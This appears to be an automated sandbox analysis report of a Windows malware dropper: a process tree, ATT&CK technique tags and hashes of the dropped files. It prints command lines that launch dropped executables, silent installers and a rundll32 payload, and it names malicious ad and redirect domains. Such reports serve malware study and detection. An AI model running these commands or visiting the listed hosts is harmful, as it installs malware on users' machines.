C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad9⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e23846f8,0x7ff9e2384708,0x7ff9e238471810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=18514839⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e23846f8,0x7ff9e2384708,0x7ff9e238471810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=18515139⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0x100,0x110,0x7ff9e23846f8,0x7ff9e2384708,0x7ff9e238471810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://www.directdexchange.com/jump/next.php?r=20872159⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0x48,0x10c,0x7ff9e23846f8,0x7ff9e2384708,0x7ff9e238471810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.directdexchange.com/jump/next.php?r=42631199⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e23846f8,0x7ff9e2384708,0x7ff9e238471810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?id=12942319⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xe0,0x10c,0x7ff9e23846f8,0x7ff9e2384708,0x7ff9e238471810⤵
-
C:\Users\Admin\AppData\Local\Temp\26-077bb-bec-97189-dff9b984f4158\Jaenocixuqy.exe"C:\Users\Admin\AppData\Local\Temp\26-077bb-bec-97189-dff9b984f4158\Jaenocixuqy.exe"8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ifqcwl1h.0e1\GcleanerEU.exe /eufive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\ifqcwl1h.0e1\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\ifqcwl1h.0e1\GcleanerEU.exe /eufive10⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6904 -s 24011⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qvpx2ntx.gcw\installer.exe /qn CAMPAIGN="654" & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\qvpx2ntx.gcw\installer.exeC:\Users\Admin\AppData\Local\Temp\qvpx2ntx.gcw\installer.exe /qn CAMPAIGN="654"10⤵
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\qvpx2ntx.gcw\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\qvpx2ntx.gcw\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1631992537 /qn CAMPAIGN=""654"" " CAMPAIGN="654"11⤵
- Enumerates connected drives
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0rfk3glw.qzq\anyname.exe & exit9⤵
- Blocklisted process makes network request
-
C:\Users\Admin\AppData\Local\Temp\0rfk3glw.qzq\anyname.exeC:\Users\Admin\AppData\Local\Temp\0rfk3glw.qzq\anyname.exe10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\g3boltpv.hvy\gcleaner.exe /mixfive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\g3boltpv.hvy\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\g3boltpv.hvy\gcleaner.exe /mixfive10⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4684 -s 24011⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ojsq1mxz.j3e\autosubplayer.exe /S & exit9⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed222a0abb0f39640f.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed222a0abb0f39640f.exeWed222a0abb0f39640f.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3784 -s 2846⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed226b6e8b18c18b003.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed226b6e8b18c18b003.exeWed226b6e8b18c18b003.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4700 -s 2846⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed224b216a9b264.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed224b216a9b264.exeWed224b216a9b264.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed22d29285f2462824d.exe /mixone4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed22d29285f2462824d.exeWed22d29285f2462824d.exe /mixone5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5408 -s 2846⤵
- Program crash
-
C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv 92GwURs0+UOTl7UTHcO7Cw.0.21⤵
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4700 -ip 47001⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5408 -ip 54081⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3784 -ip 37841⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3960 -ip 39601⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3960 -s 4521⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 3764 -ip 37641⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 480 -p 5264 -ip 52641⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 716 -ip 7161⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 480 -p 5312 -ip 53121⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 5464 -ip 54641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 6132 -ip 61321⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 4736 -ip 47361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 5324 -ip 53241⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 7032 -ip 70321⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 5464 -ip 54641⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 5724 -ip 57241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 3840 -ip 38401⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 5464 -ip 54641⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 5464 -ip 54641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 564 -ip 5641⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 5464 -ip 54641⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6964 -s 4523⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6964 -ip 69641⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 6468 -ip 64681⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Users\Admin\AppData\Local\Temp\351F.exeC:\Users\Admin\AppData\Local\Temp\351F.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\351F.exeC:\Users\Admin\AppData\Local\Temp\351F.exe2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\4686.exeC:\Users\Admin\AppData\Local\Temp\4686.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\4686.exeC:\Users\Admin\AppData\Local\Temp\4686.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\5F6E.exeC:\Users\Admin\AppData\Local\Temp\5F6E.exe1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 6904 -ip 69041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Executes dropped EXE
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 30FC1F9C1E670F29A1174716C0880373 C2⤵
- Loads dropped DLL
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding BC49D91FCD2B242884588AF6D439CB852⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 4AF264526CBCE568B4C01C5DA6045BE0 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\D47F.exeC:\Users\Admin\AppData\Local\Temp\D47F.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 884 -s 2362⤵
- Program crash
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1580 -s 4603⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 1580 -ip 15801⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 4684 -ip 46841⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Users\Admin\AppData\Local\Temp\F6AE.exeC:\Users\Admin\AppData\Local\Temp\F6AE.exe1⤵
- Adds Run key to start application
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5220 -s 16842⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 884 -ip 8841⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 700 -p 5220 -ip 52201⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Users\Admin\AppData\Local\Temp\261C.exeC:\Users\Admin\AppData\Local\Temp\261C.exe1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\55B8.exeC:\Users\Admin\AppData\Local\Temp\55B8.exe1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Users\Admin\AppData\Local\Temp\7150.exeC:\Users\Admin\AppData\Local\Temp\7150.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6628 -s 2642⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\7A3A.exeC:\Users\Admin\AppData\Local\Temp\7A3A.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5152 -s 2362⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\81BD.exeC:\Users\Admin\AppData\Local\Temp\81BD.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5708 -s 2362⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 6628 -ip 66281⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5152 -ip 51521⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 5708 -ip 57081⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Users\Admin\AppData\Local\Temp\B2C1.exeC:\Users\Admin\AppData\Local\Temp\B2C1.exe1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Persistence
Modify Existing Service
2Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Modify Registry
4Disabling Security Tools
1Virtualization/Sandbox Evasion
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\2.exeMD5
7f47bc4bc6d0066d475a52e4c3c4a3e9
SHA166992ae8d0f8802fdb8909eb771e85435c67532a
SHA2561534930c6f6f74680386f81b1b1505ef1f40cfedce7a01e2db50c0af0e2c57d7
SHA51295ecc061315b01ef57aa86968ac534376a75cccebc59f640c620dfda4fe29f0e80a39551c1d974b08ea15f7ce511df0494f9e98fa27c01d2cf9dc70d0f958b64
-
C:\Users\Admin\AppData\Local\Temp\2.exeMD5
7f47bc4bc6d0066d475a52e4c3c4a3e9
SHA166992ae8d0f8802fdb8909eb771e85435c67532a
SHA2561534930c6f6f74680386f81b1b1505ef1f40cfedce7a01e2db50c0af0e2c57d7
SHA51295ecc061315b01ef57aa86968ac534376a75cccebc59f640c620dfda4fe29f0e80a39551c1d974b08ea15f7ce511df0494f9e98fa27c01d2cf9dc70d0f958b64
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed221ce23cd2c4a6.exeMD5
9661b6d546179fb8865c74b075e3fb48
SHA18e19554a93b94ad42546b4083290bea22fb0cf45
SHA2564f1d9e4aff5d066fcba06bc41e35354ad3cf12e56d25b6ac8a5425ba97498bec
SHA512017a2d8a8d244310bb352f5ea8afaf801a9c2994735a5610890a493f9ca48aebe3906a4b3ae1466811bf7acd7a9adb6d8f51dd83490569d624350956861002fe
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed221ce23cd2c4a6.exeMD5
9661b6d546179fb8865c74b075e3fb48
SHA18e19554a93b94ad42546b4083290bea22fb0cf45
SHA2564f1d9e4aff5d066fcba06bc41e35354ad3cf12e56d25b6ac8a5425ba97498bec
SHA512017a2d8a8d244310bb352f5ea8afaf801a9c2994735a5610890a493f9ca48aebe3906a4b3ae1466811bf7acd7a9adb6d8f51dd83490569d624350956861002fe
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed22214190470.exeMD5
5393cdf0ba6602033f5f23f2a6c6925a
SHA155b024a3be94d379e9b198fa7fb7804e51b9ee7c
SHA2564c7b23e580d08d106a9d016d44bc073d0cf3d8a9dedf830b7a8c9a108894e33b
SHA512722c9fa8f91818b71854fc3a56e0819914adc28537338b0c9165f2383978a2845a0c5d8992c19dd081c503a0c15ea26cd06c8a6145bce555af46e8cb4926bc79
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed22214190470.exeMD5
5393cdf0ba6602033f5f23f2a6c6925a
SHA155b024a3be94d379e9b198fa7fb7804e51b9ee7c
SHA2564c7b23e580d08d106a9d016d44bc073d0cf3d8a9dedf830b7a8c9a108894e33b
SHA512722c9fa8f91818b71854fc3a56e0819914adc28537338b0c9165f2383978a2845a0c5d8992c19dd081c503a0c15ea26cd06c8a6145bce555af46e8cb4926bc79
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed222a0abb0f39640f.exeMD5
761d2eeca73b4f294fa726d07f905c74
SHA173a251b9b1d7eb325c9977c5d85546e5652ff3b6
SHA256d9f8ace7488651b9f72554d1f0cee7bdf1b76ac8cf336700e568cda3912f1255
SHA51284cd16f2763316713c5c25c5b3089930215b3a514011e96df016b896df5baefe53f23d26759237a4e955c5df72a07d23081685995b8c51aa6745e08610c0b3d6
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed222a0abb0f39640f.exeMD5
761d2eeca73b4f294fa726d07f905c74
SHA173a251b9b1d7eb325c9977c5d85546e5652ff3b6
SHA256d9f8ace7488651b9f72554d1f0cee7bdf1b76ac8cf336700e568cda3912f1255
SHA51284cd16f2763316713c5c25c5b3089930215b3a514011e96df016b896df5baefe53f23d26759237a4e955c5df72a07d23081685995b8c51aa6745e08610c0b3d6
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed2236d9fce9bd29d13.exeMD5
9c06d096728e9b1527ee8c98dc55f08f
SHA1af7885dc9d6deca6b5dcf196228c03732d7b4e8c
SHA25664218a12dee5b7f3711d0c312cf9476ee09e8cd4db24f9e2972d6dc899bdcf40
SHA512ce86e5ff825810a2ae8c4688e6b2bc029c16b3cc7b684f6aa576f8cd1542a5e92a2717a2552a44163b9fa6d7e1ce3744ef021e3c9d5b3baa678f12a30fafc472
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed2236d9fce9bd29d13.exeMD5
9c06d096728e9b1527ee8c98dc55f08f
SHA1af7885dc9d6deca6b5dcf196228c03732d7b4e8c
SHA25664218a12dee5b7f3711d0c312cf9476ee09e8cd4db24f9e2972d6dc899bdcf40
SHA512ce86e5ff825810a2ae8c4688e6b2bc029c16b3cc7b684f6aa576f8cd1542a5e92a2717a2552a44163b9fa6d7e1ce3744ef021e3c9d5b3baa678f12a30fafc472
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed22398ca1246818a50.exeMD5
f7ad507592d13a7a2243d264906de671
SHA113e5bfa6cdd1c96b6c9e2170f090e3b260ae95e5
SHA256d5959e437e58709c5e5e7a923efe7351b28bedef15cb00cd9fdb4e5e955b2a13
SHA5123579db6e38a6f2ff2045ffe4c67399722823f75697a08dd3f7f2f1562bf5d16c733579aab9970a97e066dda0bd0f8227ca5f293bc1fbc40311a3870c01d4cdf0
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed22398ca1246818a50.exeMD5
f7ad507592d13a7a2243d264906de671
SHA113e5bfa6cdd1c96b6c9e2170f090e3b260ae95e5
SHA256d5959e437e58709c5e5e7a923efe7351b28bedef15cb00cd9fdb4e5e955b2a13
SHA5123579db6e38a6f2ff2045ffe4c67399722823f75697a08dd3f7f2f1562bf5d16c733579aab9970a97e066dda0bd0f8227ca5f293bc1fbc40311a3870c01d4cdf0
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed2246f9dc6f4f9.exeMD5
a60c264a54a7e77d45e9ba7f1b7a087f
SHA1c0e6e6586020010475ce2d566c13a43d1834df91
SHA25628e695ed7a3e4355bacd409d7ef051afafd546934acbb611ff201cdadad8abc1
SHA512f07c26d6a4b150a41e7225a36f4ac0435c0d99eedc6303e9a5765e818e5a6dbc26f0dd51131948aed917ceaa19f767d55fa8561289970f24ace9f57bd956c218
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed2246f9dc6f4f9.exeMD5
a60c264a54a7e77d45e9ba7f1b7a087f
SHA1c0e6e6586020010475ce2d566c13a43d1834df91
SHA25628e695ed7a3e4355bacd409d7ef051afafd546934acbb611ff201cdadad8abc1
